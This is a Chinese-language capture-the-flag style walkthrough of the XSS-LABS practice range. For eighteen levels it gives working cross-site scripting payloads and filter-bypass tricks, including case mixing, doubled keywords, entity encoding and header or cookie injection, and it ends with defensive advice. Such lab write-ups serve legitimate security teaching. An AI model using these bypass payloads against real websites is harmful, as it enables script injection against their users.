目录

XSS-LABS靶场通关讲解

XSS-LABS靶场通关讲解

声明

文中涉及操作均来自靶机虚拟环境,禁止用于真实环境,任何未经授权的渗透测试都是违法行为!

靶场部署与工具推荐

  • 环境搭建 :使用PHPStudy部署,源码从GitHub下载。
  • 测试工具 :Burp Suite(抓包)、ExifTool(修改EXIF)、XSStrike(自动化检测)。

下载 xss-labs,

解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs

之后访问

https://i-blog.csdnimg.cn/img_convert/b906480007487a468608ccb36e0016e1.png

1. Level 1(直接注入)

漏洞点 :GET参数 name 未过滤直接输出到HTML。

Payload<script>alert('xss')</script>

原理 :服务端未转义用户输入,直接拼接至 <h2> 标签中。

https://i-blog.csdnimg.cn/img_convert/c946d92ec9ed0fc4545d2eb6c0841e04.png

2. Level 2(闭合属性值)

漏洞点 :输入框的 value 属性未过滤,但 <h2> 内容被转义。

Payload"><script>alert(1)</script>

技巧 :闭合 value 的双引号,利用未过滤的输入点注入脚本。

https://i-blog.csdnimg.cn/img_convert/b364fa9905772fa44a658b58b979dbd5.png

https://i-blog.csdnimg.cn/img_convert/8dd7eb3acdb4f60137fe44890bd183fb.png

3. Level 3(事件触发绕过)

漏洞点<> 被转义,但单引号未过滤。

Payload' onfocus=javascript:alert() '

原理 :通过 onfocus 事件在输入框获得焦点时触发脚本。

https://i-blog.csdnimg.cn/img_convert/c68ec6e6e5e6839ac35efdd6f86cde26.png

4. Level 4(双引号闭合)

漏洞点 :双引号闭合属性值,过滤逻辑与Level 3相反。

Payload" onfocus=javascript:alert() "

技巧 :调整引号类型以适应服务端过滤规则。

https://i-blog.csdnimg.cn/img_convert/24ce0bae195697405a197598e9b347a5.png

5. Level 5( <a> 标签利用)

漏洞点onscript 被过滤为 o_nscr_ipt

Payload"><a href="javascript:alert(1)">xss</a><"

绕过 :利用 <a> 标签的 href 属性执行JavaScript伪协议。

https://i-blog.csdnimg.cn/img_convert/a992aba71e1281bc5be83a69164d4de9.png

6. Level 6(大小写绕过)

漏洞点 :关键字过滤未统一大小写。

Payload"><sCript>alert()</sCript><"

技巧 :通过混合大小写绕过黑名单检测。

https://i-blog.csdnimg.cn/img_convert/e50a919fba1a2b96533fd77150900aef.png

7. Level 7(双写绕过)

漏洞点script 被替换为空,但仅过滤一次。

Payload"><scscriptript>alert()</scscriptript><"

原理 :双写敏感词使过滤后仍保留有效字符。

https://i-blog.csdnimg.cn/img_convert/f23bbc03ff247ba3b4f41635a00c7d99.png

8. Level 8(html 实体编码)

漏洞点href 属性自动解码Unicode。

Payloadjavascript:alert(1) 编码为 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

工具 :使用在线编码工具转换关键字符。

https://i-blog.csdnimg.cn/img_convert/41144544be0adf0cc692eb208b57ee43.png

9. Level 9(注释符绕过)

漏洞点 :强制要求参数包含 http://

Payloadjavascript:alert()/*http://*/

技巧 :添加注释符绕过字符串检测。

https://i-blog.csdnimg.cn/img_convert/7bddce76fb2910547ef1e1f34b653b18.png

https://i-blog.csdnimg.cn/img_convert/f4ea11db62a502f51752ba9624fdf184.png

10. Level 10(隐藏表单注入)

漏洞点 :通过隐藏的 t_sort 参数注入事件。

Payload?t_sort=" onfocus=alert() type="text

原理 :修改隐藏表单属性为可见并触发事件。 https://i-blog.csdnimg.cn/img_convert/067ac5d12b1b6082b1899e7473c87648.png

https://i-blog.csdnimg.cn/img_convert/6b31c4cea8029f89d7d8c7748fed0f2d.png

11. Level 11(Referer头注入)

漏洞点Referer 头未过滤写入隐藏表单。

Payload :修改HTTP头为 Referer: " onfocus=alert() type="text

https://i-blog.csdnimg.cn/img_convert/8a5a88b2e68372e4744004ebd994b436.png

12. Level 12(User-Agent注入)

漏洞点User-Agent 头未过滤。

Payload :同Level 11,修改 User-Agent 字段。

https://i-blog.csdnimg.cn/img_convert/80c242926ec8c9c99ca9df980dcac2c7.png

13. Level 13(Cookie注入)

漏洞点 :Cookie值未过滤写入页面。

Payload :设置Cookie为 user=" onfocus=alert() type="text

https://i-blog.csdnimg.cn/img_convert/4b1384b081af7924e0e9872eb93a5593.png

14. Level 14(EXIF XSS)

漏洞点 :图片EXIF信息未过滤。

方法 :使用工具(如ExifTool)在图片元数据中插入脚本。

15. Level 15

漏洞点ng-include 指令包含外部页面。

Payload?src='level1.php?name=<img src=x onerror=alert(1)>'

https://i-blog.csdnimg.cn/img_convert/52af52f762ebf75b8383c0c2999d90f2.png

16. Level 16(空格与换行符)

漏洞点 :空格被编码为 &nbsp; ,换行符保留。

Payload<img%0asrc=x%0aonerror=alert(1)>

https://i-blog.csdnimg.cn/img_convert/4edc4feb9f447d815edc3b267a77ea15.png

17. Level 17-18(Flash XSS)

漏洞点 :Flash未过滤参数,闭合标签属性。

Payload?arg01=a&arg02= onmouseover=alert(1)

https://i-blog.csdnimg.cn/img_convert/696fd91886480b524f74d1900be38b6b.png

三、防御思路总结

  1. 输入过滤 :使用白名单限制特殊字符(如 < , > )。
  2. 输出编码 :根据上下文转义HTML/JS(如 < 转为 &lt; )。
  3. HTTP安全头
Content-Security-Policy: script-src 'self';
Set-Cookie: HttpOnly; Secure
  1. 框架安全 :避免直接使用 v-htmlinnerHTML 等危险API。